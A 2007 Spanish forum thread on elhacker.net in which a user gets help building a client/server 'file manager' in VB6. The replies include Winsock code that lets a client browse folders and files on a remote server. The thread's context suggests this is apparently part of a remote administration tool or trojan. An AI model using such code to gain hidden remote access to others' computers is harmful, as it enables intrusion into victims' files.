elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Problema file manager
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Problema file manager  (Leído 3,351 veces)
Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Problema file manager
« en: 4 Abril 2007, 13:10 pm »

Hola soy yo el pesao de siempre  :P bueno pues estoy trabajando en el file manager y tengo un pequeño problema,hago un bucle para listar los archivos,lo envio y lo añado a un listview,peor claro me lo añade todo en una columna y junto,lo quiero evidentemente separado,no en la msiam columna este.exeaquello.jpg etc...
aqui el code.
Servidor:
Código:
Dim i As Long
For i = 0 To File1.ListCount - 1

ws.SendData "list" & File1.List(i)

Next
Cliente:
Código:
If Left(datos, 4) = "list" Then
Set x = ListView1.ListItems.Add(, , datos)
He probado con sleep en el server o en un timer y hace lo mismo.
Espero sus respuestas gracias y saludos.


En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema file manager
« Respuesta #1 en: 4 Abril 2007, 14:39 pm »

Bueno he hecho un Split pero sigue andando algo mal:
Servidor:
Código:
Dim i As Long
For i = 0 To Form1.File1.ListCount - 1
Form1.ws.SendData "list" & Form1.File1.Path & "|" & File1.List(i) & "|"
Next

Cliente:
Código:
On error resume next
Dim x As ListItem
Dim datos As String
Dim data() As String
Dim i As Long
ws.GetData datos
data = Split(datos, "list")
If Left(datos, 4) = "list" Then
For i = 1 To 100
Set x = ListView1.ListItems.Add(, , data(i))
Next
End If
Y el 100 del bucle me lo saco de la manga...porque no sé cuantos archivos hay pongo eso por poner un numero,el caso es que el code es muy chorra y va un poquillo mal...


« Última modificación: 4 Abril 2007, 14:50 pm por Jareth » En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema file manager
« Respuesta #2 en: 4 Abril 2007, 15:13 pm »

Vamos a ver, valla lio de code!!

Lo q tienes q hacer es poner list|nombreArchivo|nombreArchivo|nombr....

Etc. Metes ls archivos de esa forma. Luego en el cliente pones

Código:
ws.GetData datos
data = Split(datos, "|")

select case data
case "list"
For i = 1 To ubound(data)
Set x = ListView1.ListItems.Add(, , data(i))
Next i

Me parece a mi q asi es mejor xDD
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema file manager
« Respuesta #3 en: 4 Abril 2007, 15:25 pm »

Si ahi habia llegado,lo del select case,ahora mi problema es que por ejemplo he listado los archivos,ahora me faltan los directorios y las carpetas,pero claro,al envialro se me juntan y me lo emten en la misma columna,ese es el problema que tengo,solo puedo listar o ficheros,o carpetas o directorios y necesito los 3,tambien podria meterlo en un dirlistbox,filelistbox.
Bueno voy a seguir trabajando en ello.
Gracias y saludos.
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema file manager
« Respuesta #4 en: 4 Abril 2007, 15:32 pm »

Pues ponle dos splits xDD
Mira esta seria la estructura:

list|archivo#carpeta|archivo#carpeta|archivo#carpeta|archivo#carpeta

Código:
case "list"
For i = 1 To ubound(data)
dim todo as string
todo = data(i)
parte = split (data(i),"#")
Set x = ListView1.ListItems.Add(, , parte(0)).subitems (1) = parte(1)
Next i

Asi de simple  :P
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema file manager
« Respuesta #5 en: 4 Abril 2007, 16:50 pm »

Pues no me va bien y me añade la palabra "list" pero como en un listview es muy complicado,mejor pongo en el cliente tambien un dirlistbox filelistbox drivelistbox,a ver si consigo hacerlo.
Gracias de todas formas lo haré asi que pa mi que va a ser mas sencillo.
A ver si me sale,xD.
Saludos.
Tengo algunos problemillas a la hora de hacerlo,si alguien tiene algun code de base porque mas o menos me slae pero solo con el dir,con el file no,los 2 no puedo...
« Última modificación: 4 Abril 2007, 17:02 pm por Jareth » En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema file manager
« Respuesta #6 en: 4 Abril 2007, 17:05 pm »

Pues subele +1 al for vamos for i= 2, prueva asi, q lo e hecho sin el vb delante y tal, pero vamos q la idea es esa. Busca por el foro de VB q yo mismo puse un ejemplo d filemanager ;)
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema file manager
« Respuesta #7 en: 4 Abril 2007, 17:27 pm »

Esta caido,dice file not found :(
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Problema file manager
« Respuesta #8 en: 4 Abril 2007, 17:50 pm »

Mira aki te dejo el codigo:

CLIENTE:
modulo:
Código:
'File Manager by E0N
Function IntroRuta(ruta As String)

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

frmArchivos.lvArchivos.ListItems.Clear 'Limpiamos las listas
frmArchivos.lvCarpetas.ListItems.Clear

rutapartida = Split(ruta, "?")
Unidad = rutapartida(0)
Carpetas = rutapartida(1)
Archivos = rutapartida(2)

frmArchivos.txtUnidad = rutapartida(0) 'Metemos la ruta en el textBox


'Asi metemos las rutas de carpeta individuales en el lvCarpetas
carpeta = Split(Carpetas, "<")

For n = 0 To UBound(carpeta)
    With frmArchivos.lvCarpetas.ListItems.Add(, , carpeta(n))
    End With
Next n


'Asi metemos los archivos en el lvArchivos
archivo = Split(Archivos, "<")

For a = 0 To UBound(archivo)
    With frmArchivos.lvArchivos.ListItems.Add(, , archivo(a))
    End With
Next a

End Function

en el form en el q se ven los archivos:
Código:
'File Manager by E0N

Dim vIndex As Variant
Dim ParaEjecutar As String

Private Sub Explorar_Click()
frmPrincipal.ws(vIndex(0)).SendData "ruta|" & txtUnidad.Text
End Sub

Private Sub lvArchivos_ItemClick(ByVal Item As MSComctlLib.ListItem)
ParaEjecutar = Item.Text
End Sub

Private Sub lvArchivos_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then PopupMenu Opciones
End Sub

Private Sub lvCarpetas_ItemClick(ByVal Item As MSComctlLib.ListItem)
If txtUnidad.Text = Item.Text Then
    Call Explorar_Click
Else
    txtUnidad.Text = Item.Text
End If
End Sub


Private Sub Form_Load()
vIndex = Split(frmPrincipal.Lv.SelectedItem.Key, "|") 'Para el winsock
frmPrincipal.ws(vIndex(0)).SendData "actualizar"
End Sub


SERVER:
En el form:
Código:
'File Manager by E0N

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String 'Los datos q llegan
Dim vData As Variant 'Los datos partidos

ws.GetData data
vData = Split(data, "|")

Select Case vData(0) 'Empezamos los casos

Case "cambiarnombre" 'Para cambiar el nombre
    Open Ruta_Windows & "\WinName.txt" For Output As #1
    Print #1, vData(1)
    Close #1
    Server_Name = vData(1)

Case "actualizar" 'Para embiar la ruta del file manager nada mas arrancar
    Dim ruta As String
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta

Case "ruta" 'Para embiar la ruta del file manager a peticion del cliente
    On Local Error GoTo Error
    Dir1.Path = vData(1)
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta
    Exit Sub
Error:
    ws.SendData "error carpeta"
end select

Private Sub Dir1_Change() 'Para camiar las rutas correctamente
File1.Path = Dir1.Path
End Sub

Private Sub Drive1_Change() 'Para camiar las rutas correctamente
Dir1.Path = Drive1.Drive
End Sub

(tienes q añadir un Dir1 y un file 1 ;))

A un modulo:
Código:
'Fie Manager by E0N

Public Function Rutas() As String 'Manda todas las rutas y archivos en un string

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

Unidad = frm.Dir1.Path  'Asi metemos la ruta actual en el string


'Asi metemos las carpetas en el string
Dim ca As Integer
ca = frm.Dir1.ListCount - 1
Carpetas = ""

While frm.Dir1.List(ca) <> frm.Dir1.Path
Carpetas = Carpetas & "<" & frm.Dir1.List(ca)
ca = ca - 1
Wend

'Asi metemos los archivos en el string
Dim ar As Integer
ar = frm.File1.ListCount - 1
Archivos = ""

While frm.File1.List(ar) <> ""
Archivos = Archivos & "<" & frm.File1.List(ar)
ar = ar - 1
Wend

Carpetas = Mid(Carpetas, 2) ' Kitamos el < inicial
Archivos = Mid(Archivos, 2)

'Ahora devolvemos todas las rutas juntas en un string
Rutas = Unidad & "?" & Carpetas & "?" & Archivos

End Function



Ya esta, creo q esta todo. La idea es sacar las rutas de y las carpetas de el nombre de los archivos de los controles de VB q se encargan de eso y luego enviarlos, y q al recibirlos en el cliente partirlos correctamente ;)

Lo unico q te piddo es q si lo usas me cites y respetes q el codigo es mio si lo pasas o lo q sea, q su trabajo me llevo ;)

1S4ludo
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: Problema file manager
« Respuesta #9 en: 4 Abril 2007, 17:59 pm »

 :o :o :o :o Muchas gracias E0N!!!Me eres de gran ayuda.
Saludos.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema network-manager versus wicd
GNU/Linux
clamide 2 4,261 Último mensaje 23 Agosto 2011, 11:47 am
por clamide
Problema con tucan manager
Software
d(-_-)b 0 1,644 Último mensaje 9 Abril 2012, 17:17 pm
por d(-_-)b
PROBLEMA CON NETWORK MANAGER Y RALINK3070 USB
GNU/Linux
ALSER607 2 2,794 Último mensaje 5 Febrero 2014, 02:36 am
por ALSER607
WP File Manager: si empleas este plugin, debes actualizarlo ya
Noticias
El_Andaluz 0 1,825 Último mensaje 2 Septiembre 2020, 23:04 pm
por El_Andaluz
problema con file joker
Software
naxo_valladolid 0 2,476 Último mensaje 7 Diciembre 2021, 11:08 am
por naxo_valladolid
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines